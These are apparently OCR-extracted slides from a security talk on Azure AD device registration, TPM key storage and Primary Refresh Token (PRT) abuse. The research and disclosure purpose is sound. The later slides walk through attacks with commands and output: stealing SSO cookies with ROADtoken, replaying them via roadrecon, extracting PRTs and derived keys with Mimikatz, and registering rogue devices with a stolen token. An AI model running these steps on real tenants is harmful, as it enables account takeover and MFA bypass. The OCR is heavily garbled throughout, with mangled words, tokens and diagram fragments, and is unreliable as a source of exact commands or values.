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Talk outline

* Azure AD and zero trust

* Device join and TPM security

* Interacting with Primary Refresh Tokens
* Registering devices the unofficial way

* Bonus: bypassing MFA as Intune admin
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Terminology

* Azure AD
* ldentity platform for Office 365, Azure Resource Manager, and
other Azure things
* Also identity platform for any first/third party app you want to
iIntegrate with it

* This I1s not about Azure infrastructure/VMs/etc




Zero trust

O ~ees—— | ate
I d entltleS Identity provider : ot orlg_anization B Email & documents
=] policy Classify, label,
1 : T @] F::,;p); o (][I] Structured data
|
Multifactor coowowismosisEis : )
authentication ' , '
| I
1 : [
: ' i Apps
User/session risk ' . BRI e
. | access Cib Saas apps
' |
1 ' i
T - S ' m On-premise apps
D117/ [« - A B e '®)
S |
e | , .
, : Device risk & Access & runtime I nfraStrUCtu re
Corporate : compliance state x " R @ g _5
ek | . Security Policy : : SN
1 pu— - -
: i tr—d Device identity E n fO rceme nt Threat protection : JIT and version control
'
D ________ ' Device inventory Real-time policy evaluation | !
[
= S ' Network
Unmanaged ' O :
devices /((9\ Threat Vo omismiomismiomi Network delivery
\in// intelligence Internal Micro-segmentation
G Visibility and analytics =~~~ - - - mmmm e e e e e e -

Source: https://www.microsoft.com/en-ww/security/business/zero-trust

Automation

4




Device identity

* Devices registered / joined to Azure AD
* Mobile (Android/iOS) or Windows 10 based (laptop/desktop)
* Device exists as an object in Azure AD

* Can be managed by Intune (or third-party MDM)




Device join options

* Azure AD joined
* For corporate owned devices
* Azure AD is the primary authority
* Windows 10 only

* Azure AD registered
* For BYOD devices
* Supports both mobile (Android/iIOS/Win Mobile) and desktop (Windows 10/MacOS)

* Hybrid join
* Joined to both on-prem AD and Azure AD
* Managed by on-prem AD (GPQO's)




Device join flow — Windows 10

Account

= Sign in with Microsoft

Work or school account

Sign in with a security key

Which account should | use?

Sign in with the username and password you use with Office 365 or other business services
from Microsoft.

Domain join instead Privacy & cookies Terms of use Next




Device join flow after setup

Access work or school

Get a
means
such
them,

the web

Microsoft

o

Sign-in




Flow in the background

* Regular sign-in (with MFA prompt if that is enforced)
* Requests token for device registration service

* Final confirmation prompt

Make sure this is your organization

Make sure this is your organization

If you continue, system policies might be turned on ar other changes might be made to your PC.
Is this the right organization?




Technical flow

* Two keypairs are generated
* Device key
* Transport key

* Public key Is sent to Azure AD

* Private key remains on device




Registration request

I POST /EnrollmentServer/device/?api-version=2.0 HITP/2
2 Host: enterpriseregistration.windows.net
o|sonnectlon: Keep Alive Access token for device reg service
S|Authorization: Bearer eyJOexXAiOiJKVIQiLCIhbGCci0iJSUZIINLIISINgldCIGImwzc1ETNTE ] QOg@eEIWWkxIVEd3DINSNZY4MCIsIntpZC
WwzUGS5N3IXZHEBXbV1GZO5IMWI rbFI3PTO1LCINbXI 10T sicHAK I iwibWZhI10sImFwcGLkI joiMj TkOWVKOTgt Y TQZ0SOONTMZLWFKZT It Z ] k4My
ZNwI joidAN1c19pbXBlcnNvbmFOaWsuliwic3Vil joilWxheXd5SMnBrwwW15d1Z25VVSRc 1BZNERhY3VZdZxaNFJ0eWt zeWdZ2c00ZayIsInR1bmFudh
Hc JEXYRWZe8GT T5HD fcMOb T CKy IWBkmdAKV1AJHQUbD7UZT4L12aK9Go040SY XJgX INdvFHKD ZrIN1OFcg-e81WZnMOMFrySkV IsG3NWYHBZIm 74
S USET-Agent: Dsreg/ [u.0 (wWindows [0.0. (9082, 1237)
J Ocp-Adrs-Client-Name: Dsreg
4 Ocp-Adrs-Client-Version: 10.0.19041.1202
2 Content -Length: 2740

11 { Certificate Sign Request for device cert

"CertificateRequest":{
"Type":"pkcslo®,
"Data": "MIICATCCAVOCAQAWMDEUMCWGATUEAXMINOUSODBERDKT Q] gZ2RCOOMzAZLTKEOM] Ut OUFDMDY 2Rk TwMTRBADCCASIwDQY JKoZI hvecNA
CwUAALTBAQB ErciNgz0CIE1iSNv+D1 jMN+xwpQLBAZ0SSswEQoXW i thpSeoglMsQPs7mKzl oLhKodCM4GLRCDRMEOIQSyiV1IZrLBgeS4dgT

"TransportKey" : "ULNBMQAT AAADAAAAAAEAAAAAAAAAAAAAAQABYLGYmSpLwIR7aTws1 JOE3EWVcHXF 1 2 FPkX3wBeh8Evdd1SwITMyafxNFH

"TargetDomalin”: "iminyour.cloud”, i

DeviceTupe™ Mrdone Public RSA key for transport

"0SVersion":"10.0.19042.1237", : ,

"DeviceDisplayName" : "DESKTOP - 4NBNSHS ", Device properties

"JoinType":0, | A — iy

"attribytes" - 0=AAD Jjoin

"MSA-DDID": " dD1FdON3QWHRRUJBQVVSc2Rzcnk40HZiMG] jSFN1YU94N3pTak 9VOWNBQVA1TLBLSK O 1Vys rwmc veXZSTERXMGhZVGM2Wm 1 1

UnhIeFh4VFp4QS85YUYzcUdpc ORaZOFBQOZDMHBoaOxPaCt Y ZOFHNNpJd2JPek 1vQ i hBVNpGQnI 5Vok zcHo3MmNVUWNK SmFBN1ZEeWA 2bFF v

NVBCUORFcmIwK2VVNUpydiRTVWIT Vit XODNKNVRNSVo2TVEGL 200 XRPenBHQV I reDg rTGxBUFBEQLZNVOgXWE 1PaWE6NUL4Qm5sUGO 1dH1 T
ReuseDevice’: ‘true Device Ticket (can be left out)

"ReturnClientSid":"true"




Technical flow(2)

* Azure AD Issues a certificate

* Device object is created in Azure AD

1 devices found

Mame T, Enabled 0s Version Join Type Owner

B DESKTOP-ANBNS... @ Yes Windows 10.0.19042.1237 Azure AD joined Policy Moore

MDM

Mone

Compliant

N/A




HTTP/2 200 0K

Content -Length: 1706

Content-Type: application/json

Request -Id: 6762d32d-3a54-40d9-9572-d668d02073dc
Strict-Transport-Security: max-age=31536000; includeSubDomains
K-Content -Type-0Options: nosniff

Date: Fri, 24 Sep 2021 10:13:27 GMT

{

"Cortificata" {

"Thumbprint":"97E32DAOAEDOCE3DBF20044F551AB9T7F134AFE4AT ",

"RawBody" : "MITDBjCCAtqoAwIBAgIQ46 i 1vIDD ] rIDxWIoGETcSTANBgkghk 1 GO9wEBAQ
EYPAABARI K TDNRNASxEFwwnnueZsxtmYmrgwx T IO rIQvBNAMISTnvdhyInny51 19 rHrCM
SqGS5Ib3D0EBCWUAALTBAQAZpDD rhBATK TUNRZEAZY /BENbohial 30HEY /VsxkiTomeYZh

:"morepolicy@iminyour.cloud”

"MembershipChanges": [

{

"LocalsSID":"5-1-5-32-544",

"AddSIDs" [
"5-1-12-1-3449050006-1318031086-1069713303-529194043",
"5-1-12-1-1513299610-1165403084 - 3608819602-1191284924",
"5-1-12-1-1917785901-1244467118-3850766527-757446970"




Ps C:wWindowshsystem32> dsregomd fstatus

ArureAdJoined : YES

Enterpriseloined : MO

Domaindoined : NO
Device Mame : DESKTOP-4NBMSHS

Deviceld : e7e3f373-2581-478b-a5ed-4cfdas15d292
Thumbprint : 97E32DABJEDBCEIDEBF2BB44F551ABI7F134AFEAT
DeviceCertificateValidity : [ 2821-89-24 @9:43:27. 668 UTC -- 2831-689-24 18:13:27.6880 UTC ]
KeyContainerId : 415dlecl-bcl3-4aa9-9ad2-aB@8c6e57e@28
KeyProvider : Microsoft Platform Crypto Provider
TpmProtected : YES
DeviceAuthStatus : SUCCESS




Trusted Platform Module

* Separate (crypto)processor

* Either as physical chip or integrated in CPU (can be virtual)

* Secure storage area

* Required for Windows 11




Private keys are stored in TPM

TPM

R




Using keys stored in a TPM

TPM

R




A few notes about TPMs

* A TPM protects against:
* Key extraction from a powered down stolen device (if protected
by PIN)
* Extracting private material from the OS layer

* ATPM does not protect against:
* Sniffing the physical connection between the TPM and CPU
* Using cryptographic material in the TPM while the system is
running, from a process with SYSTEM rights
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After device registration

* User signs Iin using username + password

* Primary Refresh Token is issued




Primary Refresh Token flow (1)

Challenge is requested from online service

POST /6287T28f-4171-4322-9651-

Host: login.microsoftonline.com

Cookie: ! X-ms-gateway-slice=estsfd; fpc=AjAF1lO4]t5xKpAOBPZ51ibzk
Content -Type: application/x-www-form-urlencoded

User-Agent: Windows-AzurelAD-Authentication-Provider/1.0

Client -Reqguest-Id: GE446AFB-6CEZ-41FB-AZ1A-419BAZESQIFSS

Return-Client -Reqguest-Id: true
Content -Length: 24
Connection:

grant _t Ype=srv e




PRT flow (2)

Nonce Is returned

:31 GMT; path=/; secure; HttpOnly; SameSite=None
csite=none Cponly

site=none;

W
o
s
[l
P 1
[
Pl 1.
[
1

: g
ection:
Content -Length:

L

30

L

{“Mﬂnce“:“AwABAAAAAAAEAGE_BAD@_BFfm_BEEdLF_quGltUEWB-wADjﬂyvstEtHWEBHE?EPEiQEjSBExpjBTuHUitHMEEDiUHSfdMgEEEHSJIHQESQAA”}




PRT flow (3)

Signed data is sent to the server

c/oauth2/token HTTP/1.1

X-MS- ﬂaTPnaﬁ—Slice=95t5fd; fpc=AjAF104jt5xKpAOBPZ51ibzk

it = jrp11ujTlu|
||=—|—-[ —Hl]l—-[|'|' .,I_'|_[||'j| iy -

Client -Request-Id: Z
Return-Client -Re st-Id: true
Content -Length: s

Connection: close

windows api




Signed data content




PRT flow (4)

"token type":"Bearer",
"expires in":"12609599", Incorrect, actually 90 days
"ext expires in":"0
"expires on":"1633688624" PRT
“refresh_token“-“ﬁ AXQA] KHYNSPIkKOWUahpfY hvic _qjhtGBjIHﬂ”GMHmIETtﬁLBH.LQ'BLLLLLLD-—DLﬂSFD?E
ronCmax1juerlhAx cylB3B74UDeyWQidGMght tROBoS14DEvt 7T97jb1B5N4DoBz /RTESBATAdFPU-dEeYTtEI5 /I
PufB r19159D48y T:GAGDIEGHA NTEKE”]fﬂ'Eng”NNUUPPT zI7cho0c jec -FdUeBwITZuMKEvwrwX I ZJFek 1PVoVE
refresh_token_explres_lﬂ“.12@9599,
“id_token“:“eyJ@eHFiﬂiJK”lﬂiL”JhtG 101Jub251InG . eyJhdWQi0ilz0GFRAMZTANyY ITRMDZKLTQAMT ctY j I 3NSO:
bZ2E0vQZhhbmdlUGFzc 3dwv m”UTANmHLIHIHJGI]GlMLJBHFFBGlDLEFIU” [BJab9XVWFocGZZXZN2SWM3cWpodGBCZET:
cm9lcF9zaWRzX21hcCI6IKFBPTOL Q. "
"client info" -“**Jlawu1H113M]PmMT VZCEOWSmMELLTRAMmOtY mYwOCOANmUIMZFIOTI IMmQLiLCI1dG Lk joiNjIAT
"session key jwe'- e Jlthl”lJBM]UiP”NNIlHlTHVﬂI]DlUlNBLUDBP ulf” HULHUA”@HJVMQDUI-UEHPGMEGF
ZU-4B0w3100G 3Q0S IPKjLA nBDb-DBZJEBChmydZlgtegaxsUl tlLo QALACBF1 NeZnWwkkl
Encrypted session key with transport key




To summarize — sign-up flow with TPM

* Device cert private key, transport key and session key are stored in
TPM

* Possible to use from the OS, but not possible to extract from TPM
(even as SYSTEM)

* Used for Single Sign On to Azure resources




Interacting with Primary refresh tokens




Primary Refresh Token SSO

* Any app In the user session can request Single Sign On (SSO)
data

* Via RPC or helper applications (emulating Chrome)

* References:

* RPC Approach (by Lee Christensen):
https://posts.specterops.io/requesting-azure-ad-request-tokens-
on-azure-ad-joined-machines-for-browser-sso-2b0409caad30

* Pretend-to-be-Chrome Approach with ROADtoken:
https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-
token/
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ROADtoken

* |nitialize flow on attacker host

(ROADtools) user@localhost: ¢ roadrecon auth --prt-init -r https://outlook.office.com/ -c lfecB8e78-bced-4daaf-
blb-5451cc387264 --tokens-stdout

Requested nonce from server to use with ROADtoken: AQABAAAAAAB2Uyzwt(QEKR7-rWhgdcBZIvT8FWqPDpXFFSMtOlopaoPouwl ubFnUGZre
ArToSVH tsk7SItftpH DU ztSdv800cX]8gvDT8LLtW35gXSAA

* Request SSO token on victim host

PS C:\Users‘\joebiz\Desktop> .“ROADToken.exe AQABAAAAAABZUyzwEQEKRT-rWbgdcBZIvT8FWqPDpXFFSMtOlopaoPouwl ubFnUGZré8gArTosVH_tsk75ItftpH_DU =zt
SdvB0BcXI18gvDFBLTTWIS g SAA
Using nonce AQABAAAAAABZUyzwtQEKRT-rWbgdcBZIvT8FWgPDpXFFSMtOlopaoPouwl _ubFnUGZrégArToSVH_tsk7S5ItftpH _DU_ztSdvB08cXIBgvDFBLttW3SgXSAA suppl
ied on command line
Len 265

{ "response": [{ "name": "w-ms-RefreshTokenCredential®™, "data"™: "eylhbGci0ilIUzIINiIsICIjdHgi0ilxZU9sbG5mSIVEUIMrdWlilaSodnFVYWZ TaHpXW1Q|
80519, eyIyIWZyZXNoX3Rva2VuljoiMCSBQUFBalILSF1uOVE]a@9XViWFocGZZX2h2SWM3 cWpodGICZELzblY2 TVt STIUMDBBUGS uQWdBQKFEQUFBQUIyVX16d3RRRUESNy1yV2In
ZGNCWK1BUURZzX3dIQT1QOHZFMVFTVNNs LW1aUUtRRUTOR19EUKISYN1 jbmh1LW1l jZ1JHaVBBWDExd B j c ESmODUBNEt MM 1+ TkRHVD] 3dkWat ZXNKZHVENS@@aGRZMFkzNjhZd1VYZ3
BuSUdxZzRMV@IxYTdQd2Y¥eZ31pd TFtNINBWKIKNLZtNUFRLUoZzT1hhYjhuVlgdY2wtMmle@NFUz cUhvUzRWQWIpNT cxZV1kelMBenUzMDAYZTRINWZsS1pwZndSUDItenNjVUIHRGZ2




PRT Auth

* Use PRT cookie to authenticate, get token

(ROADtools) user@localhost: ¢ roadrecon auth --prt-cookie eylhbGciOiJIUzIINiIsICIjdHgi0iJONVN]OQXd1lTkOweXIKTms3
XC8wdDdnTWpiV2IHMNRNMUY1fQ. eylyZWZyZXNoX3Rva2VuljoiMC5BQUFBal9LSFLuOVBlaf9XVWFocGZZX2h25WM3 cWpodGICZELzb1Y2TVdtSTIUADBBU
GsuQWdBQkFBQUFBQUIyVX16d3RRRUtSNy1yV2InZGNCWKk1BUURzZX3dJQTLQOHZFMVFTVnNsLW1aUUtRRUtOR19EUKISYn1ljbmh1LW1ljZ1JHaVEBWDBxdjBjc
UEifQ.Tu3z8Px5xgulLOEIVZhUS4UTWIRNWhMEMN]j5Tt-jZCk -r https://outlook.office.com/ -c 1fecBe78-bced-4aaf-ablb-5451cc387264
--tokens-stdout --debug
{"tokenType": "Bearer", "expiresIn”: 3599, "expiresOn": "2020-12-10 13:37:00.956840", "resource": "https://outlook.offic
e.com/", "accessToken": "eylOeXAi0iJKV1QilLCJub25jZ5161i1jRnhaRTM2ZMDNHVKMyTFZQSTkzYnpaeXcO0UxPcFNGUNnFla2dpQjY25XMiLCIhbGce
10i1JSUzI1INiIsIngldCI6ImtnMkxZczJUMENUaklmajRydDZKSX1uZW4z0CIsImtpZCI6ImtnMkxZczJUMENUak1majRydDZKSX1uZW4z0C)9. eyJhdWQi0i
JodHRwczovL291dGxvb2sub2ZmaWN1LmNvbS81iLCIpc3Mi0iJodHRwczovL3NOcy53aWskb3dzLm51dC82Mig3Z114Z2100ZidmLTQzMiItOTY1IMS1hODYSN2

* Token claims:




PRT as admin

* More research in combination with Benjamin Delpy (@gentilkiwi)

* Built a combination of Mimikatz and ROADtools to obtain and use
the PRT




Mimikatz magic

mimikatz # sekurlsa::cloudap
N

_Authentication Id : @ ; 385961 (©2000000:0804ab29)

;595510n : Interactive from 1

User Name : joebiz

-Domain : cloud

Logon Server : iyc-dc

“Logon Time : 12/168/2828 12:24:25 PM

SID D 5-1-5-21-474887866-688359931-2897898248-11a7

: cloudap :

v Cachedir : ab6518ae32917eac6l8388e53acb9418a2426332e20c7a933bbdo76d4ecofe7ca

Key GUID : {32ddat68b-del5-4b35-9bc5-1cbd59c@c?52}

PRT : {"Version":3, "UserInfo":{"Version":2, "UniqueId":"7c38eB62-7411-469d-a317-fb6667ee78f6", "PrimarySid":"S5-1-12-1-26884182242-11
--87248769-120640880034-3831843458-3027591388" ], "DisplayMame":"Joe Biz", "FirstMame":"Joe", "LastMame":"Biz", "Identity":"joebiz@iminyour.cloud”, "Downl
DomainNetbiosName":"cloud"”, "PasswordChangeUrl™:"https:\/\/portal.microsoftonline.com\/ChangePassword.aspx"”, "PasswordExpiryTimelLow":3583418367, "Pass
Te":@, "Flags":8}, "Prt":"MCSBQUFBal9LSFluOVEIa@9XVHFocGZZX2h25WM3cWpodGICZELzblY2TVAESTIUMDEEUGS uQWdEQkFEQUFEQUIyVX16dIRRRULSNy 1yV2InZGNCWK1BUURZX3dIQ
alWDBxdjBj-:E5mDDUBNBtMMXl‘FTkRH‘u’Dl3dwfl-tEXNKEHUtNSBBaGREMFkZNjhEdlU‘\"E3Bu5UdKEZRM‘I.I’B:IK‘\’TdeZ‘fBE31pdTFtN1NBWkJENlEtNUFRLUDZTihh‘\"jhu‘lu’igfl-‘\"ZthmlBNFUZcUthZRwa
EGNEU1RHhkh]MjIBbBQBTlQMEH1IWkBZthicUKIWXUCUGhQUkiCWkNCSkEkWWdSUEtavavdjhlaHNiLTU?QUUWUHEpDGSicEF?THUVRjBBQme5thSZRNDUEwNkRBbBRQUWktdlBtdzRqWvaaUE
r NEVk1qcE1WVXVMb2dxckYwcHFFNIdKMT1 pdWZXZk11MnItcz ZWYVFjUS1EMLUyUeNpNDBYNN L iWHkxZU91aUxvcVY@QXVQRzISSUdrSkxNcnVHLVIQUWTEKV]Yebnd TVz dueVpxWWZ 20k5MS2RFX1IR




Monitoring crypto calls in APl Monitor

ngcpopkeysni.dll
ngcpopkeysnv.dll

ngcpopkeysrv.dll

ngcpopkeysni.dll

ngcpopkeysnv.dll




PRT cookie signing flow

1. Random bytes called a “context” is generated
Using this context, a key Is derived from the session key

This “derived key” Is used to sign the PRT cookie

> WD

The PRT cookie is used in Azure AD to sign in




PRT with TPM

TPM




Mimikatz magic with TPM

mimikatz # dpapi::cloudapkd /keyvalue:AQAAAATAAAABAAAABIyd3IWEVORGMegDATEKXOWEAAACSMZ7rsGLIRZRXWbEI-STIOAAAAAATAAAAAABEMAAAAAQAAT
AAAALaVDb] JqukxSL-VhL1hUsKeiBfAWrakiMaluNB-BVDgAAAAAAAGAAAAAASAATAAAABCT JAUPSRQFQroYMv1Zg G gvn6dZ2d-C2LTrIbRyXSEAEAAOPA3poIF7IF
ANMIXYadnSc-@8tgk3-t6lxdVsbgibil edgvdGlR-60MGTaxVsC51-gBVhIxIK7ADH2ZFS6EIwfMAXVMIVODVCcZhNrdo Zyd6rzz2Cytyfv272Qc0xtdaw8HtvCteNQy
T2N7dvF2gtjU-tec ZkIQF3] EQGdimmD72VASDgabE8Kwb61Y7Nb2GDWX495akwNCRN8x4wY - h]j208Wo-ISU6aulDQ- 2sneKMq8zDQ6TnAHOWVPoz6BS6FZwhDy8I 8
¥Yn3fHgo71tv4BxbGovYI8wBmYU-15yTkvgF4erjX1K1YgeDwfZa2GvrozSKuKziUzGBAClp3zUAUEV]1uoxSpdR3 OkZCDIHULHQAAAATKDXQa jUpID54aBoDlnBgE34
)CCADuUcWBgOR5N -qOXYGpsnNUgZBQTt3HMCxcBYVvpiNYHTZSyxWETZF_pu8INFFQ /unprotect

Label : AzureAD-SecureConversation

Context : 7tel7be2844052686ddca32d1d47e23b227482e7c3568ede2
* using CryptUnprotectData API

Key type : TPM protected (DPAPI)

Key Name : SK-1998585e-7fa7-1922-e981-cad78e41855b

Opaque key : 687ebb206t617ad3eB83ca5169439858781cdbt18acc2a5d3b2cbtd79+92706345d96tccbcBB18+936a78e606e8753ea054d4d12a6bb764cB861f
00666CcaBfcl8dea7eBadB531do998alldbtefe8adl5Bd7e61745d8c59cb59abded199426279b3168+ced48T9ctc7adl1cs7155ea516a31d8cc7fcb9e787e7d7c
c95eaddbce383d3l0e300008000b0004044000000005000b00203d75eb573192ca9351b27e4392d28dBac9137aa85867ece31084d483de966FC75

Derived Key: blffa3e54db8a3c2c758%afBdcaf71698178668483bbbb68298b4debbb83a3ces




Use derived key and context to recreate PRT cookie

(ROADtools) user@localhost:~/ROADTools$ roadrecon auth --prt-cookie eyJOeXAi0iJKV1QiLCJhbGci0iJIUzIINiIsI
mNOeCI6ImlhejZPeE1TWjZIVnhpWiRrVmlZVmhtVGOPend2M19QIn0. evIvZIWZyZXNoX3Rva2VulioiQVFBOKFBQUFBQUFHV191idiIxbl
FRNFIPcWgwXzEtdEFaRmVYbWowbnU2cS0xRzUSTE1Ud2!

10DJiVEdST2xCSDZGVjhxcjViZ2hkUONsQjZvN3ppWFRI

bVdjRXVKNOxscVRMMOOELXg2TESFeFZQOUpVbTBZWD Iyl

FRoaExvV2VPVzRKMEhBem]qeFRKUFBPOQWZsVVI45FZVMI

YOYULGY2dGT1FrQVE3VnhrZkhmajEyLVRKMVM3dUNTVm!

OUWxaY3RrcFZzN1LJtTXBtRkIJwecmRua®d251Mzc210Y 3o

UONWb21UMzdIZUg3RDICcGpWe19XUnpoYmNaWDLXYTZ6!

E10UndIZnZOdEISZjRjWmFjQS1ESVpBQkZwZKkI6N] LuV:

JFb2FDYzJYQjYxdmglYjZESVM4d19PcndGU2ZhlcnclOm.

EMXNMZOpGeX1XRLhsQklgZUtxTWt1SmbwlDINS2xKRjBI

cFNRb3VyR1h3anNLWDBEMXRnMEwxbGN1eFhXc1JyMzNH:

3¢c2eVBkVHdQZUdIOC1oWLRkdy1vVHI3d2V4MHIaeEZEUI

hwdEJYLVRKWTBucE8zQ1VvLW5qVnM5VFNpampnSOF3ZHZTVDgzNjg3clpnd LhJUWhOTGLOMjJzcjRrZ1puMLBITVyTOtZM2xqWj ZidTF
oYTZhUmNiZ2U1Ti1SeFI3SzdkZmpCbhWolROh1SEQVY1nhUBFRTiwiaXNfcHIpbWFyeSI6InRydWUiLCIpYXQi0iIxNTk2NjQ4NjAxInG.
BRnOOVaNAa98KhaGalTth: --prt-context|8096c7092a6T23cd574844187Te@117711475694798efeb
7| --derived-key| T7c8a549e5d7998743d6ab38a3039cde/el9d/e5bldb76a6002%e8aabaal242b

Re-signed PRIT cookie using custom context

Tokens were written to .roadtools auth




PRT as admin TL;DR

* If you're admin on a device with a PRT, you can steal the PRT if it's
not in TPM

* If it Is in the TPM you can still acquire context/derived key
combinations which allow you to use the PRT without the device

* Longer version:
https://dirkjanm.io/digging-further-into-the-primary-refresh-token/




Registering devices the unofficial way




TPM attack downsides

* Need to be admin on the device
* Need to dump LSASS
* PRT expires

* Device disabled = PRT disabled




Combining knowledge

* We know how to get our own Primary Refresh Token by registering
a device.

* We know how to get an access token from a user session by using
SSO.

* How about registering a new device with an SSO token?




Registering with SSO

* Initialize SSO flow

PS C:\Usersh\joebiz\Desktop> .\ROADToken.exe AQABAAAAAAB2UyzwtQEKRT-rWbgdcBZIvTBFWgPDpXFFSMtOlopaoPouwl _ubFnUGZr@gArToSVH_tsk7S5ItftpH_DU =zt
SdvB0BcXI1sgvDFBLTTW3ogXSAA
Using nonce AQABAAAAAABZUyzwtQEKRT-rWbgdcBZIvT8FWgPDpXFFSMtOlopaoPouwl _ubFnUGZrégArToSVH_tsk7SItftpH _DU_ztSdvB0BcXI8gvDFELttW3S5gXSAA suppl
ied on command line
Len 265

{ "response": [{ "name": "x-ms-RefreshTokenCredential", "data": "eylhbGci0ilIUzIINiIsICIjdHgi0ilxZU9sbGEmMSIVEUIMrdWlila3odnFVYWZTaHpXW1Q
80519, eylyIWZyZXNoX3Rva2VuljoiMCSBQUFBalILSF1uOVBIa@9XViWFocGZIX2h2SWM3cWpodGICZEL1zblY 2 TVdtSTIUMDBBUGS uQWdBQKFBEQUFBQUIvVX16d3RRRUESNy1yV2In
ZGNCWK1BUURZzX3dIQT1QOHZFMVFTVnNs LW1aUUERRUETOR19EUKISVN1 jbmh1 LWl jZ1JHaVBEBWDExdjBj c ESmODUBNEt MM 1+ TkRHVD] 3dkWat ZXNK ZHVENSBBaGRZMFkzNjhZd1VYZ3
BuSUdxZzRMV@IxYTdQd2YBZ31pdTFEtNINBWKIKNLZtNUFRLUozT1hhYjhuVlgdY2wtMml@NFUz cUhvUzRwQWI pNT cxZV1kelMBenUzMDAYZTRINWZ sS1pwZnd5UDItenNjVUIHRGZ 2

* Request token with PRT cookie

|{ROADtﬁ015} user@localhost: ¢ roadrecon auth|-r 01cb2876-7ebd-4aad-9cc9-d28bd4d359a9 |--prt-cookie eylh
ichiUiJIUleNiIsICJrZGZfdmvyIjayLEAiY3R4IjﬂicEpQSGRvaxiaTcxWGdMEWdldFpvaJCOkaUvaNZOifQ.enyZWZyZKNGKSRvaZVquaiMCSBWFF
‘Bal9LSFLuOVBIab9XVWFocGZZX2h25WM3cWpodGACZELzb1Y2TVdtSTIUMDBEQncuQWdBOKFBQUFBQUQtLURMOTNWT zdRcmRkZ0pnN1d1ldnlBZORzX3dRQT1Q0
WBZQ1FgbOpleWRUeGRONZ2tnLU1SZzVYZWxpTmSHN19xM2x0ocVZNcW5ZYOIFdGx 1dWNudS1IwQXRkal9ZQ2455DVyc XZMVm1DR295Mzc2b3FRYTNpcGExNXVzejR
!OOHCECHpWRHJstSUdesWleeTBFc2FkdzpudIUHZmQIZGleTZFcleTmJZNjNlZFvOazﬂEvUc4vEN5v123TKdKvaDRzE552NZLTRRZWtZY2pkaGth3g4w
ImIJMMLAtbEZ1MzJ6YOLUWWNVeVdpNzRNa3ZCTzBiYiVFYWZiV1Bla®Ixdzlia31ONXRYWURZVGFYT3VYVHdDYWdscHVaeTBXMFAKMThVUESIMExYT@OINSEdKC2F
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Register device

(ROADtools) user@localhost:~/ROADtools/intunepoc$ python registerdevice.py
Registering device
{'Certificate': {'RawBody': 'MIID8jCCAtqgAwIBAgIQxK6oNHDBWIJI672I10PBGzANBgkqhkiGI9wBOBAQsFADBAMXYWEQYKCZImiZPyLGQBGRYDbmVOM
DExZNUy1Pcmdhbml6YXRpb24tQWNj ZXNzMCsGALUECXxMKODIKYmFjYTQtM2U4MSOONmNhLT L jNzMEtMDK IMGMx ZWF j YTk3MBAXDTIxMDkyNDEXNDE1IN1oXDTMxM
00GOtMDg3ZSE0ZDR1LTg2MzYTODNIN] ImNzRiZjNKMIIBI jANBgkqhkiGO9wOBAQEFAAOCAQSAMIIBCgKCAQEAgQKREMwkAb/uJVK3TI92gbFuFZPklgZ8P2 jWFd
cobkChPwsWACTHpQ1AyV2wnS8khtX76/dIJTHPIcWKqv+/a7wVW+Gp5C0hUQsEtvRddh96UTD2CY6HORFIDNUSEL1XYKEKp861EHbfpOGtuCC2DCrSwlfLhYPMBE
TNOy1h7UPpRPB2NIrWIIIrecNyOUr+BjTpNJQBc+sNObP0O5c9G934gNbWhTcYxzWX0y+Hg8uPc4pEOOP1RxDjdn6E+TwI9YoalisWHelLeOUQIDAQABo4HAMIGOM
IKwYBBQUHAWIwWIgYLKoZIhvcUAQWCHAIEEWSBEI1kBI9+CESNhjaD5p90vzOwlgYLKoZIhvcUAQWCHAMEEWSBECOXT3KUDY 1KvwiG5Tq5]S0wIgYLKoZIhvcUA
LKoZIhvcUAQWCHAgQEBQSBAKVYMBMGCyqGSIb3FAEFghwHBAQEQOEXMABGCSqGSIb3DQEBCWUAA4IBAQBTzWnLrRS91g5KxZT5BhFMizC0gtg75vh7Q20/XVIhD
tYUock/3Sap3WzIenmms//aCZ8Y TnurkGOvoF+IWesgb025YIHoDQ1GO0+FL5Xj2ygVolOOLMC/SXpgQTnYxRLR51zjCilohzATU322r9Apup715IiJ0ONzwo5sw9
SvrURBKLTPcxHT6BDZEugQ71/dvOHO+Ff/Kv/xKkEBZtblOGYNZenEGnWcrBepxTG9cCzFBNc T fpbgwddXCvBd8RdVFblccK6M2kIg',

'Thumbprint': '497641E85104EE4DCE1B17CCC5493B415E7C21BF'},

'MembershipChanges': [{'AddSIDs': ['S5-1-12-1-3449050006-1318031086-1069713303-529194043",
'S-1-12-1-1513299610-1165403084-3608819602-1191284924",
'S-1-12-1-1917785901-1244467118-3850766527-757446970'],

'LocalSID': 'S-1-5-32-544'}],

‘User': {'Upn': 'morepolicy@iminyour.cloud'}} )

rEEertificate{subject=¢Name{EM=BTB4E4Bd—BB?E—4d4e—BEEE—B3EEBT?4bf3d]:, a2 )> |

Credits: Adapted from AADInternals by @DrAzureAd
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Obtain PRT using user password

(ROADtools) user@localhost: $ python getprt.py morepolicy@iminyour.cloud | GGGz
<Certificate(subject=<Name(CN=8T04648d-087e-4d4e-8636- 83&69f?4bf3d;} N
<cryptography.hazmat.backends.openssl.rsa. RSAPrivgteke 0x7fbl8badeb20>

Primary Refresh token: 0.AXQAj KHYn9PIkOWUahpfY hv
X-APOTrpb7p2GVszm3aNr9T1LPD2gdex200QxuKF1rzDQbG3tIM
ZEHdBnWFKZ1uyuCfntauCgOthkFeuvmplojPZnXPh8x0pfAbot
zjynv71lcCi ppMGN9QRTo JwSsI6LeBHUG7x9yGhnD1UGVTUYG
cJSnvOlLyFnUtaz37KkatvInB502V1x]771aDCDBi2 - Z5RRLHt
AXnw-JiELnCXXt5tjZrrlcZHOsU9x -sQN8PLyIsP8mdv4gYGUi
V7LgPWuijUo uZdx1Im BJJ-gc3jv30bwOODcVbXYOmn2Z1vYA
b9HRaD6eXzr9GRrtGCO85GK6TamaYCoGCALgRDAT | k-Kul8KKC
Decrypted session key: 6af22b440580317b691153a99cfaf}




Sign in with PRT

* Use PRT and session key to sign in

(ROADtools) user@localhost: ¢ roadrecon auth --prt 0.AXQAj KHYn9PIkOWUahpfY hvIc7qjhtoBdIsnVeMWmI2TtOA
Bw.AgABAAAAAAD - -DLA3V07Qrddglg/WevrAgDs wQA9P9QvRKyPC-HdQw9Ws
UKFLrzDQbG3tIM2cHImJOIuBY TNDTr4DWSTex35jnmpZ3xt3yBilktG-znHFM
HNzEHdBnWFKZluyuCfntauCg@thkFeuvmplojPZnXPh8x0pfAbotkFXvrcjac
dQjsgggH8yU-EdqimKYKvm2woilUjejPO0ZbVQ6NKzjynv71lcCi ppMGNI9QRTo
